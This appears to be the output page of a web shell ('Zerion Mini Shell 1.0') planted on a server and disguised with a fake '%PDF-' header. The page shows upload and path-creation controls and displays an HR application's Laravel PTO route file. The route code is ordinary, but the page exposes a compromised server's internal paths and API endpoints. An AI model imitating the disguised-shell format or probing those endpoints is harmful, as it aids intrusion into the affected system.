%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/routes/api/v1/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/routes/api/v1/ptos.php

<?php

use App\Models\Module;
use Illuminate\Support\Facades\Route;

Route::group([
    'middleware' => [
        'auth:api',
        'module:' . Module::PTOS_MODULE,
    ],
], function () {

    Route::resource('ptos', 'PtosController')
         ->only([
             'index',
             'show',
             'store',
             'update',
             'destroy',
         ]);

    Route::post('ptos/{pto}/actions/request', 'PtosController@request')
         ->name('api.v1.ptos.actions.request');

    Route::group(['middleware' => ["role:ADMIN|HR"]], function () {

        Route::post('ptos/{pto}/actions/approve', 'PtosController@approve')
             ->name('api.v1.ptos.actions.approve');

        Route::post('ptos/{pto}/actions/reject', 'PtosController@reject')
             ->name('api.v1.ptos.actions.reject');

        Route::get('ptos/actions/getAll', 'PtosController@getAll')
             ->name('api.v1.ptos.actions.getAll');

    });

});

Zerion Mini Shell 1.0